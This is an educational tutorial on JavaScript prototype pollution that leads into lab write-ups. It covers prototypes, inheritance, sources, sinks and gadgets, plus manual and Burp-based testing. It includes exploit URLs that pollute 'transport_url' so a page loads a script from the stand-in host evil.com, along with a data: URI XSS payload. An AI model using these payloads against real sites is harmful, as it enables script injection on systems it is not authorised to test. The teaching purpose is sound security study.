JavaScript Prototype Pollution: A Deep Dive
Lab Levels
Jump directly to the lab writeups:
Introduction
What is Prototype Pollution?
Prototype pollution is a vulnerability in JavaScript where an attacker adds arbitrary properties to a global object prototype (like Object.prototype). These polluted properties are then inherited by all objects in the application, potentially leading to security issues such as:
- Arbitrary code execution
- Access control bypass
- XSS
Figure: Example of JavaScript prototype pollution affecting all objects
JavaScript Prototypes & Inheritance
Objects in JavaScript
A JavaScript object is a collection of key-value pairs:
const user = {
username: "wiener",
userId: 1234,
isAdmin: false
};
Properties can also be methods:
const user = {
username: "wiener",
exampleMethod: function() {
// do something
}
};
What is a Prototype?
Each object in JavaScript has a prototype — an object it inherits from:
let myObject = {};
Object.getPrototypeOf(myObject); // → Object.prototype
Other built-in prototypes:
String.prototypeArray.prototypeNumber.prototype
How Inheritance Works
If a property is not found on an object, JavaScript looks up its prototype chain:
Figure: JavaScript prototype chain showing property lookup through inheritance
existingObject = { propertyA: 'A' }
myObject = Object.create(existingObject);
console.log(myObject.propertyA); // → 'A'
Accessing & Modifying Prototypes
Every object has a special property: __proto__.
console.log(user.__proto__); // → Object.prototype
Modifying the prototype:
String.prototype.removeWhitespace = function() {
return this.replace(/^\s+|\s+$/g, '');
};
" test ".removeWhitespace(); // → "test"
How Does Prototype Pollution Happen?
Prototype pollution often occurs during deep merge operations where unsanitized input is merged into an object:
// URL
https://site.com/?__proto__[transport_url]=//evil.com
// JSON
JSON.parse('{"__proto__": {"evilProperty": "payload"}}');
objectLiteral.hasOwnProperty('__proto__'); // false
objectFromJson.hasOwnProperty('__proto__'); // true
Pollution Components
✅ Source
Where user-controlled input pollutes a prototype (e.g., query string, JSON, web messages).
✅ Sink
Where polluted data is used (e.g., DOM manipulation, function calls, security checks).
✅ Gadget
A property that connects the source to the sink in an exploitable way.
Example Exploit
let transport_url = config.transport_url || defaults.transport_url;
let script = document.createElement('script');
script.src = `${transport_url}/example.js`;
document.body.appendChild(script);
Exploit URL:
https://site.com/?__proto__[transport_url]=//evil.com
Or direct XSS via data: URI:
https://site.com/?__proto__[transport_url]=data:,alert(1);//
🔎 Finding Prototype Pollution Vulnerabilities
Manual Testing
-
Inject via URL:
?__proto__[foo]=bar ?__proto__.foo=bar -
Check in console:
Object.prototype.foo // "bar"
Using DOM Invader (Burp Suite)
- Automatically tests sources, sinks, and gadgets.
- Can generate XSS PoCs for valid gadgets.
Finding Gadgets Manually
- Identify a potential gadget property used by the application.
- Use debugger to pause execution.
-
Inject trace logic:
Object.defineProperty(Object.prototype, 'YOUR-PROPERTY', { get() { console.trace(); return 'polluted'; } }); - Step through and locate execution in a sink.